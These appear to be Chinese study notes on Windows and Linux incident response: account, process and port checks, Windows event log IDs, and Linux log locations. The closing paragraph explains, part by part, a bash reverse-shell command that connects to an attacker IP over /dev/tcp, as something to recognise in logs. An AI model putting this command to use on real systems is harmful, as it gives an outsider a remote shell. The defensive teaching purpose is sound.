------***windoes***------方法
宸极实验室—『杂项』一篇 Windows 应急响应的详细笔记 - 九州信泰的文章 - 知乎
宸极实验室—『杂项』一篇 Windows 应急响应的详细笔记 - 知乎
利用
win
+
r
后输入
lusrmgr.msc
查询系统是否存在多余的特权、隐藏账户。或者打开控制面板>用户账户》》》》
regedit
进入注册表,
利用
win
+
r
后输入
regedit
进入注册表,找到路径HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
,排查可疑账户。
发现可疑外连情况后,使用命令tasklist
| findstr "PID"
或根据最后一列PID
号,从任务管理器中查看本地文件等详细信息。
查看本机进程,在“命令提示符”中输入Tasklist 命令即可显示本机的所有进程,本机的显示结果由5部分组成:图像名(进程名)、PID、会话名、会话#和内存使用。
使用 “taskkill /IM xxx”结束进程,xxx 为进程名,以上面的 SublimeText 为例是 "Sublimetext.exe" ,注意:一定是全名,后面的后缀".exe"不能省略
可疑端口排查
利用
win
+
r
后输入
netstat -ano
查看系统端口占用情况。
查看隐藏文件
查看日志信息
利用
win
+
r
后输入
eventvwr
打开系统日志或者控制面板
可以通过查看日志且通过筛选
日志 ID 标识
除了修改设置保留全部审核日志外,还应该知道常用的日志类型所对应的ID
号。
这里列举一部分应急响应出现频率较高的ID
:
4608 ----- Windows正在启动
4609 ----- Windows正在关闭
4624 ----- 帐户已成功登录
4625 ----- 帐户无法登录
4626 ----- 用户/设备声明信息
4627 ----- 集团会员信息。
4634 ----- 帐户已注销
4698 ----- 已创建计划任务
4699 ----- 计划任务已删除
4700 ----- 已启用计划任务
4701 ----- 计划任务已禁用
4702 ----- 计划任务已更新
4720 ----- 已创建用户帐户
4722 ----- 用户帐户已启用
4723 ----- 尝试更改帐户的密码
4724 ----- 尝试重置帐户密码
4725 ----- 用户帐户已被禁用
4726 ----- 用户帐户已删除
4738 ----- 用户帐户已更改
4739 ----- 域策略已更改
4740 ----- 用户帐户已被锁定
4741 ----- 已创建计算机帐户
4742 ----- 计算机帐户已更改
4743 ----- 计算机帐户已删除
4768 ----- 请求了Kerberos身份验证票证(TGT)
4769 ----- 请求了Kerberos服务票证
4770 ----- 更新了Kerberos服务票证
4771 ----- Kerberos预身份验证失败
4772 ----- Kerberos身份验证票证请求失败
4773 ----- Kerberos服务票证请求失败
4944 ----- Windows防火墙启动时,以下策略处于活动状态
4945 ----- Windows防火墙启动时列出了规则
4946 ----- 已对Windows防火墙例外列表进行了更改。增加了一条规则
4947 ----- 已对Windows防火墙例外列表进行了更改。规则被修改了
4948 ----- 已对Windows防火墙例外列表进行了更改。规则已删除
4949 ----- Windows防火墙设置已恢复为默认值
4950 ----- Windows防火墙设置已更改
5024 ----- Windows防火墙服务已成功启动
5025 ----- Windows火墙服务已停止
系统日志
系统日志记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
系统日志存储位置:
%SystemRoot%\System32\Winevt\Logs\System.evtx
-------***Linux***--------方法
『杂项』一篇 Linux 应急响应的详细笔记 (qq.com)
默认指令在 /usr/bin
排查可疑端口与服务进程
查看端口开放状态,检查系统是否存在代理、SSH软连接后门等可疑端口。
检查Linux服务器里是否被植入隐藏的系统账户后门,可以编辑一下/etc/passwd文件中的新增的潜藏用户,还可以利用awk命令,查询uid=0以及uid>=500的所有用户名,如下图的指令就可以查询是否有异常的后门账户,还可以查看Linux 账户的登录历史记录,以及登录的IP来看下,是否有异常的账号和IP登录过服务器。
awk -F : '($3>=500 || $3==0){print $1}' /etc/passwd
Netstat
netstat -anulpt
使用 -a,列出所有连接。
使用 -t 选项列出 TCP 协议的连接。
使用 -u 选项列出 UDP 协议的连接。
使用 -p 选项列出正在监听的套接字。端口
使用 -l 选项列出正在监听的套接字。端口
-n:进制使用域名解析功能。链接以数字形式展示(IP地址),而不是通过主机名或域名形式展示
netstat -l:只显示所有监听端口
netstat -anp:显示系统端口使用情况
netstat -nupl:UDP类型的端口
netstat -ntpl:TCP类型的端口
[root@MongoDB ~]# alias // 查看别名
[root@MongoDB ~]# alias cp='cp -i' // 设置别名
[root@MongoDB ~]# unalias cp // 取消别名
ss是Socket Statistics的缩写。顾名思义,ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
-t: tcp
-a: all
-l: listening 【ss -l列出所有打开的网络连接端口】
-s: summary 【显示 Sockets 摘要】
-p: progress
-n: numeric 【不解析服务名称】
-r: resolve 【解析服务名称】
-m: memory 【显示内存情况】
Ss -tnl
查看进程
Top
显示进程信息
# top
显示完整命令
# top -c
以批处理模式显示程序信息
# top -b
以累积模式显示程序信息
# top -S
设置信息更新次数
top -n 2
//表示更新两次后终止更新显示
设置信息更新时间
# top -d 3
//表示更新周期为3秒
显示指定的进程信息
# top -p 139
//显示进程号为139的进程信息,CPU、内存占用率等
显示更新十次后退出
top -n 10
使用者将不能利用交谈式指令来对行程下命令
top -s
ps -aux、
清除可疑进程与文件
ps -aux
ps -elf | grep 66579
kill -9 66579
history//查看最近一些的命令
lastlog//查看最后一次登录的情况
cat /var/log/lastlog或者last -f /var/log/lastlog //查看登录情况
Last -f /var/log/btmp//查看错误信息(可以看到IP地址进而推断有没有爆破情况)
Last -f /var/log/auth.log//登录认证的信息记录
Cron//查看计划任务相关情况
-----在根目录下(root@kali:/var/log)cat btmp | grep “123”//在btmp文件中查看有关123的信息并显示出来(Accepted有关登录成功的信息)(Failed有关登录失败的信息)
----在根目录下(root@kali:/var/log)cat btmp | grep “123\|789” ----//查看有关123或789的信息并显示出来
Csdn有关grep的正则表达式的过滤
日志名称 记录信息
alternatives.log 系统的一些更新替代信息记录
apport.log 应用程序崩溃信息记录
apt/history.log 使用 apt-get 安装卸载软件的信息记录
apt/term.log 使用 apt-get 时的具体操作,如 package 的下载、打开等
auth.log 登录认证的信息记录
boot.log 系统启动时的程序服务的日志信息
btmp 错误的信息记录
Consolekit/history 控制台的信息记录
dist-upgrade dist-upgrade 这种更新方式的信息记录
dmesg 启动时,显示屏幕上内核缓冲信息,与硬件有关的信息
dpkg.log dpkg 命令管理包的日志。
faillog 用户登录失败详细信息记录
fontconfig.log 与字体配置有关的信息记录
kern.log 内核产生的信息记录,在自己修改内核时有很大帮助
lastlog 用户的最近信息记录
wtmp 登录信息的记录。wtmp 可以找出谁正在进入系统,谁使用命令显示这个文件或信息等
syslog 系统信息记录
————————————————
----------***中间件日志分析***--------方法
IIs
/var/log/apache2 (/var/log/nginx) //记录所有对apache服务器进行请求的访问**都存在access_log和error_log
bash:这是运行 Bash Shell 的命令。-i:表示将 Bash Shell 运行在交互模式下,以便与用户进行交互。&:这是重定向符号,用于将输出重定向到另一个地方。/dev/tcp/192.168.184.145/5555:这是一个特殊路径,它代表了一个 TCP 网络连接。其中,192.168.184.145 是攻击者的 IP 地址,5555 是攻击者监听的端口号。0>&1:这是将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1)。这样,通过网络连接输入到目标机器的数据将被发送到攻击者的主机。